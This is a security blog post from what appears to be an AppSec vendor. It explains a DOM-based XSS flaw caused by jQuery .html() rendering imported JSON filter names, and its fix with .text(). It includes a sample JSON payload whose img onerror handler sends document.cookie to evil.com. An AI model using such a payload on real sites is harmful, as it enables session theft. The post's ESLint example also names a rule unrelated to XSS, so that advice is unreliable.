Back to Blog
critical SEVERITY5 min read

How DOM-based XSS via jQuery .html() happens in JavaScript and how to fix it

A critical DOM-based Cross-Site Scripting (XSS) vulnerability was discovered in CustomRankingInterface.js where user-imported JSON data containing malicious filter names could execute arbitrary JavaScript in victims' browsers. The fix replaces jQuery's unsafe `.html()` method with the safe `.text()` method, preventing script injection while preserving the intended functionality.

O
By Orbis AppSec
Published July 22, 2026Reviewed July 22, 2026

Answer Summary

DOM-based XSS (CWE-79) occurs in JavaScript when jQuery's `.html()` method renders untrusted data as HTML, allowing script injection. In this case, malicious filter names in imported JSON configurations could execute arbitrary JavaScript. The fix is to replace `.html()` with `.text()`, which treats input as plain text rather than HTML, preventing code execution while displaying the content safely.

Vulnerability at a Glance

cweCWE-79
fixReplace .html() with .text() to escape HTML entities and prevent script execution
riskArbitrary JavaScript execution in user browsers via malicious JSON imports
languageJavaScript (jQuery)
root causeUsing jQuery .html() to render untrusted filter names from user-imported JSON
vulnerabilityDOM-based Cross-Site Scripting (XSS)

Introduction

In the CustomRankingInterface.js file, a critical DOM-based XSS vulnerability lurked at line 133, waiting to be exploited. The file handles custom cup configuration imports—a feature that lets users share and load ranking filters via JSON. However, a single unsafe jQuery method call in the filter rendering logic created a dangerous attack vector.

The vulnerable code path was straightforward: when users imported JSON configurations through a textarea, the application would iterate through filter objects and render their names directly into the DOM. The problem? It used jQuery's .html() method, which interprets its argument as HTML markup rather than plain text.

$filter.find("a.toggle .name").html(filters[i].name);

This line at position 136 in the original code became the injection point. Any JavaScript payload embedded in a filter's name property would execute immediately upon import.

The Vulnerability Explained

DOM-based XSS occurs when client-side JavaScript writes untrusted data to the DOM in an unsafe way. Unlike reflected or stored XSS, the malicious payload never touches the server—it's processed entirely in the victim's browser.

Here's the vulnerable code in context:

var $filter = $(".filter.clone").clone();
$filter.removeClass("hide clone");
$filter.attr("index", i);
$filter.find("a.toggle .name").html(filters[i].name);  // VULNERABLE LINE
$filter.attr("type", filters[i].filterType);

$el.append($filter);

The filters[i].name value comes directly from user-imported JSON data. When an attacker crafts a malicious configuration file, they can embed JavaScript in the filter name:

{
  "filters": [
    {
      "name": "<img src=x onerror='document.location=\"https://evil.com/steal?cookie=\"+document.cookie'>",
      "filterType": "custom"
    }
  ]
}

Attack Scenario

  1. Attacker crafts payload: The attacker creates a custom cup configuration JSON file with an XSS payload embedded in a filter name field
  2. Social engineering: The attacker shares this "helpful" configuration on forums, Discord servers, or directly with targets
  3. Victim imports: The victim pastes the JSON into the import textarea, believing it's a legitimate configuration
  4. Payload executes: jQuery's .html() method parses the malicious filter name as HTML, the browser encounters the <img> tag with an onerror handler, and the JavaScript executes
  5. Impact: The attacker can steal session cookies, perform actions as the victim, redirect to phishing pages, or inject additional malicious content

Real-World Impact

For this application, successful exploitation could allow attackers to:
- Steal authentication tokens and session data
- Modify ranking configurations without user knowledge
- Inject persistent malicious content into the user's saved configurations
- Perform any action the victim can perform within the application

The Fix

The fix is elegant in its simplicity—a single method change that completely neutralizes the vulnerability:

Before (Vulnerable)

$filter.find("a.toggle .name").html(filters[i].name);

After (Secure)

$filter.find("a.toggle .name").text(filters[i].name);

The difference between .html() and .text() is critical:

Method Behavior Security
.html() Parses argument as HTML markup Dangerous - executes scripts
.text() Treats argument as plain text Safe - escapes HTML entities

When you use .text(), jQuery automatically escapes HTML special characters:
- < becomes &lt;
- > becomes &gt;
- " becomes &quot;
- & becomes &amp;

So our malicious payload:

<img src=x onerror='alert(1)'>

Gets rendered as literal text:

<img src=x onerror='alert(1)'>

The browser displays the text instead of parsing it as HTML, completely preventing script execution while still showing the filter name to users.

Prevention & Best Practices

1. Default to Safe Methods

Always use .text() or .textContent unless you explicitly need HTML rendering. If you must render HTML, sanitize it first with a library like DOMPurify:

// Safe: plain text
$element.text(userInput);

// If HTML is required, sanitize first
$element.html(DOMPurify.sanitize(userInput));

2. Content Security Policy (CSP)

Implement a strict CSP header to provide defense in depth:

Content-Security-Policy: default-src 'self'; script-src 'self'

3. Input Validation

While output encoding is the primary defense, validate JSON imports against a strict schema:

function validateFilter(filter) {
  if (typeof filter.name !== 'string' || filter.name.length > 100) {
    throw new Error('Invalid filter name');
  }
  // Additional validation...
}

4. Code Review Checklist

Flag these patterns during code review:
- .html() with any variable input
- .innerHTML assignments
- document.write() calls
- jQuery selectors built from user input

5. Static Analysis

Configure ESLint with security plugins to catch these patterns automatically:

{
  "plugins": ["security"],
  "rules": {
    "security/detect-unsafe-regex": "error"
  }
}

Key Takeaways

  • Never use .html() with user-controlled data in CustomRankingInterface.js or any file handling imported configurations
  • JSON imports are attack vectors — treat all fields in user-provided JSON as potentially malicious, not just obvious input fields
  • The filter name field was exploitable because it was rendered with .html() at line 136, demonstrating that any displayed field can be an XSS sink
  • One character saved the day — changing html to text completely eliminated the vulnerability while preserving functionality
  • Defense in depth matters — combine safe rendering methods with CSP headers and input validation

How Orbis AppSec Detected This

  • Source: User-imported JSON data via textarea, specifically the filters[i].name property from custom cup configurations
  • Sink: $filter.find("a.toggle .name").html(filters[i].name) in src/js/interface/CustomRankingInterface.js:136
  • Missing control: No HTML encoding or sanitization of the filter name before DOM insertion
  • CWE: CWE-79 (Improper Neutralization of Input During Web Page Generation)
  • Fix: Replaced .html() with .text() to automatically escape HTML entities and prevent script execution

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This DOM-based XSS vulnerability in CustomRankingInterface.js demonstrates how a single unsafe jQuery method can create a critical security hole. The attack vector—malicious JSON imports—is particularly insidious because users often trust configuration files shared within their communities.

The fix was straightforward: replace .html() with .text(). This pattern applies universally across jQuery codebases. Whenever you're rendering user-controlled data into the DOM, ask yourself: "Does this need to be interpreted as HTML?" If the answer is no—and it usually is—use the safe text methods.

Remember: security vulnerabilities often hide in the most mundane code. A filter name display seems harmless until it becomes an XSS injection point. Stay vigilant, use safe APIs by default, and let automated tools catch the patterns you might miss.

References

Frequently Asked Questions

What is DOM-based XSS?

DOM-based XSS is a type of cross-site scripting where malicious JavaScript is injected into the page through client-side code that unsafely writes user-controlled data to the DOM, causing the browser to execute attacker-controlled scripts.

How do you prevent DOM-based XSS in JavaScript?

Use safe DOM manipulation methods like `.text()` or `.textContent` instead of `.html()` or `.innerHTML`. Always treat user input as untrusted data and encode or escape it before rendering.

What CWE is DOM-based XSS?

DOM-based XSS is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').

Is input validation enough to prevent DOM-based XSS?

No, input validation alone is insufficient. While it helps, you must also use output encoding and safe DOM APIs. Defense in depth requires both validating input and using secure rendering methods.

Can static analysis detect DOM-based XSS?

Yes, static analysis tools can detect patterns like `.html()` being called with untrusted data. Tools like Semgrep, ESLint security plugins, and commercial SAST solutions can flag these dangerous sink patterns.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #383

Related Articles

critical

How arbitrary code execution via injected protobuf definition type fields happens in Node.js and how to fix it

A critical arbitrary code execution vulnerability (CVE-2026-41242) was discovered in protobufjs versions prior to 7.5.5 and 8.0.1, allowing attackers to inject malicious code through crafted protobuf definition type fields. The fix upgrades the dependency from the vulnerable version 6.11.4 to 7.5.5, which properly sanitizes type field inputs during protobuf parsing. This vulnerability is especially dangerous because protobufjs is widely used in Node.js applications for serialization, meaning a s

high

How command injection happens in Node.js child_process and how to fix it

A high-severity command injection vulnerability was discovered in `bootstrap.js` at line 34, where the `exec()` function was used to run shell commands constructed from a `folder` variable. By replacing `exec()` with `execFile()` and passing arguments as an array, the fix eliminates the shell interpolation entirely, closing the door on command injection attacks that could have affected all downstream consumers of this Node.js library.

high

How unsafe pickle deserialization happens in NumPy's np.load() and how to fix it

A high-severity arbitrary code execution vulnerability was discovered in `tools/ardy-engine/retarget.py` where `np.load()` was called with `allow_pickle=True`, enabling attackers to embed malicious pickle payloads in `.npz` files. The fix was a single-character change—switching `allow_pickle=True` to `allow_pickle=False`—that eliminates the deserialization attack vector while preserving the file's legitimate array data loading functionality.

high

How SSRF and Credential Leakage via Absolute URLs happens in axios and how to fix it

A high-severity vulnerability (CVE-2025-27152) in axios versions prior to 1.8.2 allowed Server-Side Request Forgery (SSRF) attacks and credential leakage when making HTTP requests with absolute URLs. This vulnerability was fixed by upgrading from axios 1.7.4 to 1.8.2 in both package.json and package-lock.json, eliminating the attack vector that could have exposed authentication tokens and enabled unauthorized server-side requests.

high

How pickle-based arbitrary code execution happens in PyTorch and how to fix it

A high-severity arbitrary code execution vulnerability was discovered in `scripts/export_joyvasa_audio.py` where `torch.load()` was called with `weights_only=False`, allowing any pickle-serialized Python object — including malicious code — to execute during checkpoint loading. The fix switches to `weights_only=True` and explicitly allowlists only the two non-standard classes the checkpoint actually requires: `argparse.Namespace` and `pathlib.PosixPath`. This closes a real code execution path tha

critical

How WebSocket protocol length header abuse happens in Node.js and how to fix it

A critical vulnerability (CVE-2026-54466) in websocket-driver versions prior to 0.7.5 allows attackers to corrupt WebSocket messages by manipulating protocol length headers. This can lead to data integrity issues, denial of service, or potentially arbitrary code execution in affected Node.js applications. The fix involves upgrading the websocket-driver dependency to version 0.7.5.